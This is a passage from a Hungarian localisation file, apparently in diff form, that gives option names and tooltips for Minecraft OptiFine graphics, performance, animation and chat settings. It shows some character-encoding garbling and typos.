+of.options.MIPMAP_TYPE.tooltip.4= Lineáris - normál simítás +of.options.MIPMAP_TYPE.tooltip.5= Bilineáris - finom simítás +of.options.MIPMAP_TYPE.tooltip.6= Trilineáris - legfinomabb simítás (leglassabb) + + +of.options.AA_LEVEL=Élsimítás +of.options.AA_LEVEL.tooltip.1=Élsimítás +of.options.AA_LEVEL.tooltip.2= KI - (default) nincs élsimítás (gyorsabb) +of.options.AA_LEVEL.tooltip.3= 2-16 - antialiased lines and edges (lassabb) +of.options.AA_LEVEL.tooltip.4=Az Élsimítás kisimítja a cikcakkos vonalakat, és +of.options.AA_LEVEL.tooltip.5=éles színátmeneteket. +of.options.AA_LEVEL.tooltip.6=Amikor be van kapcsolva, érezhetÅ‘en csökkentheti az FPS-t. +of.options.AA_LEVEL.tooltip.7=Nem minden szintet támogat minden videókártya. +of.options.AA_LEVEL.tooltip.8=ÚJRAINDÃTÃS után lép érvénybe! + +of.options.AF_LEVEL=Aniszotróp Szűrés +of.options.AF_LEVEL.tooltip.1=Aniszotróp Szűrés +of.options.AF_LEVEL.tooltip.2= KI - (alapértelmezett) normál textúrarészletesség (gyorsabb) +of.options.AF_LEVEL.tooltip.3= 2-16 - finomabb részletek a mipmapolt textúrákon (lassabb) +of.options.AF_LEVEL.tooltip.4=Az Aniszotróp Szűrés visszaállítja a részleteket a +of.options.AF_LEVEL.tooltip.5=mipmapolt textúrákon. +of.options.AF_LEVEL.tooltip.6=Amikor be van kapcsolva, érezhetÅ‘en csökkentheti az FPS-t. + +of.options.CLEAR_WATER=Tiszta Víz +of.options.CLEAR_WATER.tooltip.1=Tiszta Víz +of.options.CLEAR_WATER.tooltip.2= BE - tiszta, átlátszó víz +of.options.CLEAR_WATER.tooltip.3= KI - alapértelmezett víz + +of.options.RANDOM_ENTITIES=Véletlenszerű Entitások +of.options.RANDOM_ENTITIES.tooltip.1=Véletlenszerű Entitások +of.options.RANDOM_ENTITIES.tooltip.2= KI - nincsenek véletlenszerű entitások, gyorsabb +of.options.RANDOM_ENTITIES.tooltip.3= BE - véletlenszerű entitások, lassabb +of.options.RANDOM_ENTITIES.tooltip.4=A véletlenszerű entitások random textúrákat használ a játék entitásainak. +of.options.RANDOM_ENTITIES.tooltip.5=Egy forráscsomagra van szűkséáge, amiben több entitástextúra van. + +of.options.BETTER_GRASS=Jobb Fű +of.options.BETTER_GRASS.tooltip.1=Jobb Fű +of.options.BETTER_GRASS.tooltip.2= KI - alapértelmezett fű-oldaltextúra, leggyorsabb +of.options.BETTER_GRASS.tooltip.3= Gyors - teljes fű-oldaltextúra, lassabb +of.options.BETTER_GRASS.tooltip.4= Szép - dinamikus fű-oldaltextúra, slowest + +of.options.BETTER_SNOW=Jobb Hó +of.options.BETTER_SNOW.tooltip.1=Jobb Hó +of.options.BETTER_SNOW.tooltip.2= KI - alapértelmezett hó, gyorsabb +of.options.BETTER_SNOW.tooltip.3= BE - jobb hó, lassabb +of.options.BETTER_SNOW.tooltip.4=A hó látszik átlátszó blokkok alatt is (kerítés, magas fű) +of.options.BETTER_SNOW.tooltip.5=amikor hóblokkokkal szomszédos. + +of.options.CUSTOM_FONTS=Egyéni Betűtípusok +of.options.CUSTOM_FONTS.tooltip.1=Egyéni Betűtípusok +of.options.CUSTOM_FONTS.tooltip.2= BE - egyéni betűtípusokat használ (alapértelmezett), lassabb +of.options.CUSTOM_FONTS.tooltip.3= KI - alapértelmezett betűtípust használ, gyorsabb +of.options.CUSTOM_FONTS.tooltip.4=AZ egyéni betűtípusokat a jelenlegi forráscsomag +of.options.CUSTOM_FONTS.tooltip.5=biztosítja. + +of.options.CUSTOM_COLORS=Egyéni Színek +of.options.CUSTOM_COLORS.tooltip.1=Egyéni Színek +of.options.CUSTOM_COLORS.tooltip.2= BE - egyéni színeket használ (alapértelmezett), lassabb +of.options.CUSTOM_COLORS.tooltip.3= KI - alapértelmezett színeket használ, gyorsabb +of.options.CUSTOM_COLORS.tooltip.4=Az egyéni színeket a jelenlegi forráscsomag +of.options.CUSTOM_COLORS.tooltip.5=biztosítja. + +of.options.SWAMP_COLORS=Mocsár Színek +of.options.SWAMP_COLORS.tooltip.1=Mocsár Színek +of.options.SWAMP_COLORS.tooltip.2= BE - mocsár színek használata (alapértelmezett), lassabb +of.options.SWAMP_COLORS.tooltip.3= KI - mucsár színek mellÅ‘zése, gyorsabb +of.options.SWAMP_COLORS.tooltip.4=A bocsár színek befolyásolják a füvet, leveleket, indákat és a vizet. + +of.options.SMOOTH_BIOMES=Sima Biomok +of.options.SMOOTH_BIOMES.tooltip.1=Sima Biomok +of.options.SMOOTH_BIOMES.tooltip.2= BE - biom határainak simítása (alapértelmezett), lassabb +of.options.SMOOTH_BIOMES.tooltip.3= KI - biom határának simításának mellÅ‘zése, gyorsabb +of.options.SMOOTH_BIOMES.tooltip.4=A biomok határának a simítása mintavételezéssel és a környezÅ‘ blokkok +of.options.SMOOTH_BIOMES.tooltip.5=színének átlagolásával történik. +of.options.SMOOTH_BIOMES.tooltip.6=A fű, levelek, indák és a víz érintettek. + +of.options.CONNECTED_TEXTURES=Kapcsolódó Textúrák +of.options.CONNECTED_TEXTURES.tooltip.1=Kapcsolódó Textúrák +of.options.CONNECTED_TEXTURES.tooltip.2= KI - nincsenek kapcsolódó textúrák (alapértelmezett) +of.options.CONNECTED_TEXTURES.tooltip.3= Gyors - gyors kapcsolódó textúrák +of.options.CONNECTED_TEXTURES.tooltip.4= Szép - szép kapcsolódó textúrák +of.options.CONNECTED_TEXTURES.tooltip.5=A kapcsolódó textúrák összeköti az üvegek, +of.options.CONNECTED_TEXTURES.tooltip.6=homokkÅ‘ és könyvespolcok textúráját amikor egymás mellett +of.options.CONNECTED_TEXTURES.tooltip.7=helyezkednek el. A kapcsolódó textúrákat a jelenlegi +of.options.CONNECTED_TEXTURES.tooltip.8=forráscsomag biztosítja. + +of.options.NATURAL_TEXTURES=Természetes Textúrák +of.options.NATURAL_TEXTURES.tooltip.1=Természetes Textúrák +of.options.NATURAL_TEXTURES.tooltip.2= KI - természetes textúrák mellÅ‘zése (alapértelmezett) +of.options.NATURAL_TEXTURES.tooltip.3= BE - természetes textúrák használata +of.options.NATURAL_TEXTURES.tooltip.4=A természetes textúrák eltávolítja a rácsszerű mintákat +of.options.NATURAL_TEXTURES.tooltip.5=amit az ismétlÅ‘dÅ‘ azonos típusú blokkok idéznek elÅ‘. +of.options.NATURAL_TEXTURES.tooltip.6=Forgatott és fordított variációit használja az alap +of.options.NATURAL_TEXTURES.tooltip.7=blokk textúrának. A konfigurációját a természetes +of.options.NATURAL_TEXTURES.tooltip.8=textúráknak a jelenlegi forráscsomag biztosítja. + +of.options.EMISSIVE_TEXTURES=Emisszív Textúrák +of.options.EMISSIVE_TEXTURES.tooltip.1=Emisszív Textúrák +of.options.EMISSIVE_TEXTURES.tooltip.2= KI - emisszív textúrák mellÅ‘zése (alapértelmezett) +of.options.EMISSIVE_TEXTURES.tooltip.3= BE - emisszív textúrák alkalmazása +of.options.EMISSIVE_TEXTURES.tooltip.4=Az emisszív textúrák felületként vannak leképezve +of.options.EMISSIVE_TEXTURES.tooltip.5=full fényerÅ‘vel. Arra használatosak, hogy szimulálják a +of.options.EMISSIVE_TEXTURES.tooltip.6=fénykibocsájto részeit az alaptextúrának. +of.options.EMISSIVE_TEXTURES.tooltip.7=Az emisszív textúrákat a jelenlegi forráscsomag +of.options.EMISSIVE_TEXTURES.tooltip.8=biztosítja. + +of.options.CUSTOM_SKY=Egyéni Ég +of.options.CUSTOM_SKY.tooltip.1=Egyéni Ég +of.options.CUSTOM_SKY.tooltip.2= BE - egyéni ég textúrák (alapértelmezett), lassú +of.options.CUSTOM_SKY.tooltip.3= KI - alapértelmezett ég, gyorsabb +of.options.CUSTOM_SKY.tooltip.4=Az egyéni ég textúrákat a jelenlegi forráscsomag +of.options.CUSTOM_SKY.tooltip.5=biztosítja. + +of.options.CUSTOM_ITEMS=Egyéni Tárgyak +of.options.CUSTOM_ITEMS.tooltip.1=Egyéni Tárgyak +of.options.CUSTOM_ITEMS.tooltip.2= BE - egyéni tárgytextúrák (alapértelmezett), lassú +of.options.CUSTOM_ITEMS.tooltip.3= KI - alapértelmezett tárgytextúrák, gyorsabb +of.options.CUSTOM_ITEMS.tooltip.4=Az egyéni tárgytextúrákat a jelenlegi forráscsomag +of.options.CUSTOM_ITEMS.tooltip.5=biztosítja. + +of.options.CUSTOM_ENTITY_MODELS=Egyéni Entitás Modellek +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Egyéni Entitás Modellek +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= BE - egyéni entitás modellek (alapértelmezett), lassú +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= KI - alapértelmezett entitás modellek, gyorsabb +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Az egyéni entitás modelleket a jelenlegi forráscsomag +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=biztosítja. + +of.options.CUSTOM_GUIS=Egyéni GUIk +of.options.CUSTOM_GUIS.tooltip.1=Egyéni GUIk +of.options.CUSTOM_GUIS.tooltip.2= BE - egyéni GUIk (alapértelmezett), lassabb +of.options.CUSTOM_GUIS.tooltip.3= KI - alapértelmezett GUIk, gyorsabb +of.options.CUSTOM_GUIS.tooltip.4=Az egyéni GUIk-at a jelenlegi forráscsomag biztosítja. + +# Details + +of.options.CLOUDS=FelhÅ‘k +of.options.CLOUDS.tooltip.1=FelfÅ‘k +of.options.CLOUDS.tooltip.2= Alapértelmezett - ahogy a Grafika beállításban +of.options.CLOUDS.tooltip.3= Gyors - alacsonyabb minÅ‘ség, gyorsabb +of.options.CLOUDS.tooltip.4= Szép - magasabb minÅ‘ség, lassabb +of.options.CLOUDS.tooltip.5= KI - nincsenek felhÅ‘k, leggyorsabb +of.options.CLOUDS.tooltip.6=A Gyors felhÅ‘k 2D-ben vannak leképezve. +of.options.CLOUDS.tooltip.7=A Szép felhÅ‘k 3D-ben vannak leképezve. + +of.options.CLOUD_HEIGHT=FelhÅ‘ Magasság +of.options.CLOUD_HEIGHT.tooltip.1=FelhÅ‘ Magasság +of.options.CLOUD_HEIGHT.tooltip.2= KI - alapértelmezett magasság +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - a világmagasság határ fölött + +of.options.TREES=Fák +of.options.TREES.tooltip.1=Fák +of.options.TREES.tooltip.2= Alapértelmezett - ahogy a Grafika beállításban +of.options.TREES.tooltip.3= Gyors - alacsonyabb minÅ‘ség, gyorsabb +of.options.TREES.tooltip.4= Okos - magasabb minÅ‘ség, gyors +of.options.TREES.tooltip.5= Szép - legmagasabb minÅ‘ség, lassabb +of.options.TREES.tooltip.6=A gyors fáknak nem átlátszó levelei vannak. +of.options.TREES.tooltip.7=A szép és okos fáknak átlátszó levelei vannak. + +of.options.RAIN=EsÅ‘ & Hó +of.options.RAIN.tooltip.1=EsÅ‘ & Hó +of.options.RAIN.tooltip.2= Alapértelmezett - ahogy a Grafika beállításban +of.options.RAIN.tooltip.3= Gyors - könnyű esÅ‘/hó, gyorsabb +of.options.RAIN.tooltip.4= Szép - heves esÅ‘/hó, lassabb +of.options.RAIN.tooltip.5= KI - nincs esÅ‘/hó, leggyorsabb +of.options.RAIN.tooltip.6=Amikor az esÅ‘ KI van kapcsolva, a placcsanás és esÅ‘ hangok +of.options.RAIN.tooltip.7=ugyanúgy aktívak. + +of.options.SKY=Ég +of.options.SKY.tooltip.1=Ég +of.options.SKY.tooltip.2= BE - az ég látható, lassabb +of.options.SKY.tooltip.3= KI - az ég nem látható, gyorsabb +of.options.SKY.tooltip.4=Amikor az ég KI van kapcsolva, a hold és a nap ugyanúgy láthatóak. + +of.options.STARS=Csillagok +of.options.STARS.tooltip.1=Csillagok +of.options.STARS.tooltip.2= BE - a csillagok láthatóak, lassabb +of.options.STARS.tooltip.3= KI - a csillagok nem láthatóak, gyorsabb + +of.options.SUN_MOON=Nap & Hold +of.options.SUN_MOON.tooltip.1=Nap & Hold +of.options.SUN_MOON.tooltip.2= BE - a nap és a hold láthatóak (alapértelmezett) +of.options.SUN_MOON.tooltip.3= KI - a nap és a hold nem láthatóak (gyorsabb) + +of.options.SHOW_CAPES=Köpenyek Mutatása +of.options.SHOW_CAPES.tooltip.1=Köpenyek Mutatása +of.options.SHOW_CAPES.tooltip.2= BE - mutassa a játékosok köpenyeit (alapértelmezett) +of.options.SHOW_CAPES.tooltip.3= KI - ne mutassa a játékosok köpenyeit + +of.options.TRANSLUCENT_BLOCKS=ÃttetszÅ‘ Blokkok +of.options.TRANSLUCENT_BLOCKS.tooltip.1=ÃttetszÅ‘ Blokkok +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Alapértelmezett - ahogy a Grafika beállításban +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Szép - korrekt színkeverés (lassabb) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Gyors - gyors színkeverés (gyorsabb) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Az áttetszÅ‘ blokkok színkeverését irányítja +of.options.TRANSLUCENT_BLOCKS.tooltip.6=különbözÅ‘ színekkel (színezett üveg, víz, jég) +of.options.TRANSLUCENT_BLOCKS.tooltip.7=amikor egymás mögé vannak helyezve levegÅ‘vel közöttük. + +of.options.HELD_ITEM_TOOLTIPS=Tartott Tárgyak Leírása +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Tartott Tárgyak Leírása +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= BE - mutasson leírást a tartott tárgyaknak (alapértelmezett) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= KI - ne mutasson leírást a tartott tárgyaknak + +of.options.ADVANCED_TOOLTIPS=Haladó Leírások +of.options.ADVANCED_TOOLTIPS.tooltip.1=Haladó Leírások +of.options.ADVANCED_TOOLTIPS.tooltip.2= BE - mutassa a haladó leírásokat +of.options.ADVANCED_TOOLTIPS.tooltip.3= KI - ne mutassa a haladó leírásokat (alapértelmezett) +of.options.ADVANCED_TOOLTIPS.tooltip.4=A haladó leírások kibÅ‘vített információit mutatja a +of.options.ADVANCED_TOOLTIPS.tooltip.5=tárgyaknak (azonosító, tartósság) és shader beállításoknak +of.options.ADVANCED_TOOLTIPS.tooltip.6=(azonosító, forrás, alapértelmezett érték). + +of.options.DROPPED_ITEMS=Eldobott Tárgyak +of.options.DROPPED_ITEMS.tooltip.1=Eldobott Tárgyak +of.options.DROPPED_ITEMS.tooltip.2= Alapértelmezett - ahogy a Grafika beállításban +of.options.DROPPED_ITEMS.tooltip.3= Gyors - 2Ds eldobott tárgyak (gyorsabb) +of.options.DROPPED_ITEMS.tooltip.4= Szép - 3Ds eldobott tárgyak (lassabb) + +options.entityShadows.tooltip.1=Entitás Ãrnyékok +options.entityShadows.tooltip.2= BE - entitás árnyékok mutatása +options.entityShadows.tooltip.3= KI - nem mutatja az entitás árnyékokat + +of.options.VIGNETTE=Vignette +of.options.VIGNETTE.tooltip.1=Vizuális effekt, ami enyhén besötétíti a képernyÅ‘ sarkait +of.options.VIGNETTE.tooltip.2= Alapértelmezett - ahogy a Grafika beállításban (alapértelmezett) +of.options.VIGNETTE.tooltip.3= Gyors - vignette engedélyezve (gyorsabb) +of.options.VIGNETTE.tooltip.4= Szép - vignette letiltva (lassabb) +of.options.VIGNETTE.tooltip.5=A vignette-nek jelentÅ‘s hatása lehet az FPS-en, +of.options.VIGNETTE.tooltip.6=fÅ‘leg teljes képernyÅ‘s módban játszva. +of.options.VIGNETTE.tooltip.7=A vignette effekt elég észrevehetetlen, szóval nyugodtan +of.options.VIGNETTE.tooltip.8=ki lehet kapcsolni. + +of.options.DYNAMIC_FOV=Dinamikus FOV +of.options.DYNAMIC_FOV.tooltip.1=Dinamikus FOV +of.options.DYNAMIC_FOV.tooltip.2= BE - dinamikus FOV engedélyezése (alapértelmezett) +of.options.DYNAMIC_FOV.tooltip.3= KI - dinamikus FOV letiltása +of.options.DYNAMIC_FOV.tooltip.4=Megváltoztatja a látószöget (FOV) repülés, futás +of.options.DYNAMIC_FOV.tooltip.5=vagy ií felhúzása közben. + +of.options.DYNAMIC_LIGHTS=Dinamikus Fények +of.options.DYNAMIC_LIGHTS.tooltip.1=Dinamikus Fények +of.options.DYNAMIC_LIGHTS.tooltip.2= KI - no dynamic lights (default) +of.options.DYNAMIC_LIGHTS.tooltip.3= Gyors - gyors dinamikus fények (500ms-ként frissítve) +of.options.DYNAMIC_LIGHTS.tooltip.4= Szép - szép dinamikus fények (valós idÅ‘ben frissítve) +of.options.DYNAMIC_LIGHTS.tooltip.5=Engedélyezi a fénykibocsájtó tárgyaknak (fáklya, izzókÅ‘, stb.) +of.options.DYNAMIC_LIGHTS.tooltip.6=hogy kivilágítsanak mindent körülöttük amikor kézben fogják, +of.options.DYNAMIC_LIGHTS.tooltip.7=más játékos használja vagy a földre vannak dobva. + +options.biomeBlendRadius.tooltip.1=Kisimítja a színátmenetet a biomok között +options.biomeBlendRadius.tooltip.2= KI - nincs átmenet (leggyorsabb) +options.biomeBlendRadius.tooltip.3= 5x5 - normál átmenet (alapértelmezett) +options.biomeBlendRadius.tooltip.4= 15x15 - maximális simítás (leglassabb) +options.biomeBlendRadius.tooltip.5=Magasabb értékek jelentÅ‘s lag tüskéket képezhetnek +options.biomeBlendRadius.tooltip.6=és lelassíthatják a területek töltésének idejét. + +# Performance + +of.options.SMOOTH_FPS=Sima FPS +of.options.SMOOTH_FPS.tooltip.1=Stabilizálja az FPS-t a grafikus illesztÅ‘program bufferjeinek öblítésével. +of.options.SMOOTH_FPS.tooltip.2= KI - nincs stabilizáció, az FPS ingadozhat +of.options.SMOOTH_FPS.tooltip.3= BE - FPS stabilizáció +of.options.SMOOTH_FPS.tooltip.4=Ez a beállítás grafikus illesztÅ‘programfüggÅ‘, és a hatásai +of.options.SMOOTH_FPS.tooltip.5=nem mindig láthatóak. + +of.options.SMOOTH_WORLD=Sima Világ +of.options.SMOOTH_WORLD.tooltip.1=Eltávolítja a lag tüskéket, amit a belsÅ‘ szerver okoz. +of.options.SMOOTH_WORLD.tooltip.2= KI - nincs stabilizáció, az FPS ingadozhat +of.options.SMOOTH_WORLD.tooltip.3= BE - FPS stabilizáció +of.options.SMOOTH_WORLD.tooltip.4=Stabilizálja az FPS-t a belsÅ‘ szerver terheinek eloszlatásával. +of.options.SMOOTH_WORLD.tooltip.5=Csak lokális világokon hatásos (egyjátékos mód). + +of.options.FAST_RENDER=Gyors Leképzés +of.options.FAST_RENDER.tooltip.1=Gyors Leképzés +of.options.FAST_RENDER.tooltip.2= KI - alapértelmezett leképzés (alapértelmezett) +of.options.FAST_RENDER.tooltip.3= BE - optimalizált leképzés (gyorsabb) +of.options.FAST_RENDER.tooltip.4=Egy optimalizált leképzési algoritmust használ, ami csökkenti +of.options.FAST_RENDER.tooltip.5=a GPU terheltségét és jelentÅ‘sen növelheti az FPS-t. +of.options.FAST_RENDER.tooltip.6=Ez a beállítás ütközhet pár moddal. + +of.options.FAST_MATH=Gyors Matek +of.options.FAST_MATH.tooltip.1=Gyors Matek +of.options.FAST_MATH.tooltip.2= KI - alapértelmezett matek (alapértelmezett) +of.options.FAST_MATH.tooltip.3= BE - gyorsabb matek +of.options.FAST_MATH.tooltip.4=Optimalizált sin() és cos() függvényeket használ, ami +of.options.FAST_MATH.tooltip.5=jobban kihasználhatja a CPU belsÅ‘ memóriáját és növelheti az FPS-t. +of.options.FAST_MATH.tooltip.6=Ez a beállítás minimálisan változtathat a világgeneráláson. + +of.options.CHUNK_UPDATES=TErület Frissítés +of.options.CHUNK_UPDATES.tooltip.1=Terület Frissítés +of.options.CHUNK_UPDATES.tooltip.2= 1 - lassabb világbetöltés, magasabb FPS (alapértelmezett) +of.options.CHUNK_UPDATES.tooltip.3= 3 - gyorsabb világbetöltés, alacsonyabb FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - leggyorsabb világbetöltés, legalacsonyabb FPS +of.options.CHUNK_UPDATES.tooltip.5=Terület frissítések száma leképzett képkockánként, +of.options.CHUNK_UPDATES.tooltip.6=magasabb értékek instabilizálhatják az FPS-t. + +of.options.CHUNK_UPDATES_DYNAMIC=Dinamikus Frissítések +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Dinamikus terület frissítések +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= KI - alapértelmezett területfrissítés képkockákként (alapértelmezett) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= BE - több frissítés, amiíg a játékos egy helyben áll +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=A dinamikus frissítések több területfrissítést eröltetnek, amíg +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=a játékos egy helyben áll, higy a világot gyorsabban töltse. + +of.options.LAZY_CHUNK_LOADING=Lusta Terület Töltés +of.options.LAZY_CHUNK_LOADING.tooltip.1=Lusta Terület Töltés +of.options.LAZY_CHUNK_LOADING.tooltip.2= KI - alapértelmezett szerver területbetöltés +of.options.LAZY_CHUNK_LOADING.tooltip.3= BE - lusta szerver területbetöltés (simább) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Kisimítja a a beépített szerver területtöltését +of.options.LAZY_CHUNK_LOADING.tooltip.5=a területek számos tick közötti elosztásával. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Kapcsold KI ha a világ részei nem töltenek rendesen. +of.options.LAZY_CHUNK_LOADING.tooltip.7=Csak lokális világokban hatásos (egyjátékos mód). + +of.options.RENDER_REGIONS=Régiók Leképzése +of.options.RENDER_REGIONS.tooltip.1=Régiók Leképzése +of.options.RENDER_REGIONS.tooltip.2= KI - ne használja a régiók leképzését (alapértelmezett) +of.options.RENDER_REGIONS.tooltip.3= BE - régiók leképzésének használata +of.options.RENDER_REGIONS.tooltip.4=A régiók leképzése gyorsabb domborzatbetöltést tesz lehetÅ‘vé magasabb +of.options.RENDER_REGIONS.tooltip.5=leképzési távolságoknál. Hatásosabb VBOkkal együtt. +of.options.RENDER_REGIONS.tooltip.6=Nem ajánlott integrált videókártyákkal. + +of.options.SMART_ANIMATIONS=Okos Animációk +of.options.SMART_ANIMATIONS.tooltip.1=Okos Animációk +of.options.SMART_ANIMATIONS.tooltip.2= KI - ne használja az okos animációkat (alapértelmezett) +of.options.SMART_ANIMATIONS.tooltip.3= BE - okos animációk használata +of.options.SMART_ANIMATIONS.tooltip.4=Az okos animációkkal a játék csak azokat a textúrákat +of.options.SMART_ANIMATIONS.tooltip.5=animálja, ami éppen látható a képernyÅ‘n. +of.options.SMART_ANIMATIONS.tooltip.6=Ez csökkenti a tick lag tüskéket és növeli az FPS-t. +of.options.SMART_ANIMATIONS.tooltip.7=FÅ‘leg hasznos nagy modpackeknél és HD forráscsomagoknál. + +# Animations + +of.options.animation.allOn=Mind BE +of.options.animation.allOff=Mind KI +of.options.animation.dynamic=Dinamikus + +of.options.ANIMATED_WATER=Víz Animálva +of.options.ANIMATED_LAVA=Láva Animálva +of.options.ANIMATED_FIRE=Tűz Animálva +of.options.ANIMATED_PORTAL=Portál Animálva +of.options.ANIMATED_REDSTONE=VöröskÅ‘ ANimálva +of.options.ANIMATED_EXPLOSION=Robbanás Animálva +of.options.ANIMATED_FLAME=Láng Animálva +of.options.ANIMATED_SMOKE=Animált Füst +of.options.VOID_PARTICLES=Å°r Részecskék +of.options.WATER_PARTICLES=Víz Részecskék +of.options.RAIN_SPLASH=EsÅ‘ Placcsanás +of.options.PORTAL_PARTICLES=Portál Részecskék +of.options.POTION_PARTICLES=Bájital Részecskék +of.options.DRIPPING_WATER_LAVA=CsöpögÅ‘ Víz/Láva +of.options.ANIMATED_TERRAIN=Terep Animálva +of.options.ANIMATED_TEXTURES=Textúrák Animálva +of.options.FIREWORK_PARTICLES=Tüzijáték Részecskék + +# Other + +of.options.LAGOMETER=LagomérÅ‘ +of.options.LAGOMETER.tooltip.1=Megjeleníti a legmérÅ‘t a hibakeresÅ‘ képernyÅ‘n (F3). +of.options.LAGOMETER.tooltip.2=* Narancs - Memóriaszemét gyűjtése +of.options.LAGOMETER.tooltip.3=* Cián - Tick +of.options.LAGOMETER.tooltip.4=* Kék - IdÅ‘zített betöltendÅ‘k +of.options.LAGOMETER.tooltip.5=* Lila - Területfeltöltés +of.options.LAGOMETER.tooltip.6=* Vörös - Területfrissítések +of.options.LAGOMETER.tooltip.7=* Sárga - LáthatóságellenÅ‘rzÅ‘ +of.options.LAGOMETER.tooltip.8=* Zöld - Terep leképzése + +of.options.PROFILER=HibakeresÅ‘ Profil +of.options.PROFILER.tooltip.1=HibakeresÅ‘ Profil +of.options.PROFILER.tooltip.2= BE - hibakeresÅ‘ profil aktív, lassabb +of.options.PROFILER.tooltip.3= KI - hibakeresÅ‘ profil nem aktív, gyorsabb +of.options.PROFILER.tooltip.4=A hibakeresÅ‘ profil hibakeresÅ‘ információkat gyűjt és jelenít meg +of.options.PROFILER.tooltip.5=amikor a hibakeresÅ‘ képernyÅ‘ meg van nyitva (F3). + +of.options.WEATHER=IdÅ‘járás +of.options.WEATHER.tooltip.1=IdÅ‘járás +of.options.WEATHER.tooltip.2= BE - az idÅ‘járás aktív, lassabb +of.options.WEATHER.tooltip.3= KI - az idÅ‘járás nem aktív, gyorsabb +of.options.WEATHER.tooltip.4=Az idÅ‘járás írányítja az esÅ‘t, havazást és viharokat. +of.options.WEATHER.tooltip.5=Az idÅ‘járás irányitása csak lokális világokban lehetséges. + +of.options.time.dayOnly=Csak Nappal +of.options.time.nightOnly=CSak Éjjel + +of.options.TIME=IdÅ‘ +of.options.TIME.tooltip.1=IdÅ‘ +of.options.TIME.tooltip.2= Alapértelmezett - normál nappal/éjjel ciklus +of.options.TIME.tooltip.3= Csak NAppal - csak nappal +of.options.TIME.tooltip.4= CSak Éjjel - csak éjszaka +of.options.TIME.tooltip.5=Az idÅ‘ beállítás csak KREATÃV módban effektív, +of.options.TIME.tooltip.6=és csak lokális világokban. + +options.fullscreen.tooltip.1=Teljes KépernyÅ‘ +options.fullscreen.tooltip.2= BE - Teljes KépernyÅ‘ használata +options.fullscreen.tooltip.3= KI - ablakos mód alkalmazása +options.fullscreen.tooltip.4=A teljes képernyÅ‘ lassabb vagy gyorsabb lehet +options.fullscreen.tooltip.5=az ablakos módtól videókártyától függÅ‘en. + +options.fullscreen.resolution=Teljes KépernyÅ‘s Mód +options.fullscreen.resolution.tooltip.1=Teljes KépernyÅ‘s mód +options.fullscreen.resolution.tooltip.2= Alapértelmezett - asztal felbontásának használata, lassabb +options.fullscreen.resolution.tooltip.3= WxH - egyéni felbontás használata, gyorsabb lehet +options.fullscreen.resolution.tooltip.4=A kiválasztott felbontás teljes képernyÅ‘s módban használatos (F11). +options.fullscreen.resolution.tooltip.5=Az alacsonyabb felbontások aáltalában gyorsabbak. + +of.options.SHOW_FPS=FPS Mutatása +of.options.SHOW_FPS.tooltip.1=Kompakt FPS és leképzési információkat mutat. +of.options.SHOW_FPS.tooltip.2= Fps - átlag/minimum +of.options.SHOW_FPS.tooltip.3= C: - terület leképzÅ‘k +of.options.SHOW_FPS.tooltip.4= E: - leképzett entitások + blokk entitások +of.options.SHOW_FPS.tooltip.5= U: - területfrissítések +of.options.SHOW_FPS.tooltip.6=A kompakt FPS információ csak akkor látszik, ha a +of.options.SHOW_FPS.tooltip.7=hibakeresÅ‘ képernyÅ‘ nem látható. + +of.options.save.45s=45mp +of.options.save.90s=90mp +of.options.save.3min=3perc +of.options.save.6min=6perc +of.options.save.12min=12perc +of.options.save.24min=24perc + +of.options.AUTOSAVE_TICKS=Automatikus mentés +of.options.AUTOSAVE_TICKS.tooltip.1=Automatikus mentés intervalluma +of.options.AUTOSAVE_TICKS.tooltip.2= 45mp - alapértelmezett +of.options.AUTOSAVE_TICKS.tooltip.3=Az automatikus mentés lag tüskéket generálhat a leképzési távolságtól függÅ‘en. +of.options.AUTOSAVE_TICKS.tooltip.4=A világ akkor is mentÅ‘dik, ha a menü megnyílik. + +of.options.SCREENSHOT_SIZE=KépernyÅ‘fotó Mérete +of.options.SCREENSHOT_SIZE.tooltip.1=KépernyÅ‘fotó Mérete +of.options.SCREENSHOT_SIZE.tooltip.2= Alapértelmezett - alapértelmezett képernyÅ‘fotó méret +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - egyéni képernyÅ‘fotó méret +of.options.SCREENSHOT_SIZE.tooltip.4=Nagyobb képernyÅ‘fotó készítéséhez több memóriára lehet szükség. +of.options.SCREENSHOT_SIZE.tooltip.5=Nem kompatibilis a GYors Leképzéssel és az Élsimítással. +of.options.SCREENSHOT_SIZE.tooltip.6=Szükséges GPU framebuffer támogatás. + +of.options.SHOW_GL_ERRORS=GL Hibák Mutatása +of.options.SHOW_GL_ERRORS.tooltip.1=GL Hibák Mutatása +of.options.SHOW_GL_ERRORS.tooltip.2=OpenGL hibák megjelennek a chatben amikor be van kapcsolva. +of.options.SHOW_GL_ERRORS.tooltip.3=CSak akkor kapcsold ki, ha ismert konfliktus van, és +of.options.SHOW_GL_ERRORS.tooltip.4=a hiba javíthatatlan. +of.options.SHOW_GL_ERRORS.tooltip.5=Amikor ki van kapcsolva, ugyanúgy rögziítve lesznek +of.options.SHOW_GL_ERRORS.tooltip.6=a hibaüzenetbe, és még mindig jelentÅ‘s FPS zuhanást okozhat. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Chat Háttér +of.options.CHAT_BACKGROUND.tooltip.1=Chat Háttér +of.options.CHAT_BACKGROUND.tooltip.2= Alapértelmezett - rögzített szélesség +of.options.CHAT_BACKGROUND.tooltip.3= Kompakt - vonal szélességével egyezÅ‘ +of.options.CHAT_BACKGROUND.tooltip.4= KI - rejtett + +of.options.CHAT_SHADOW=Chat 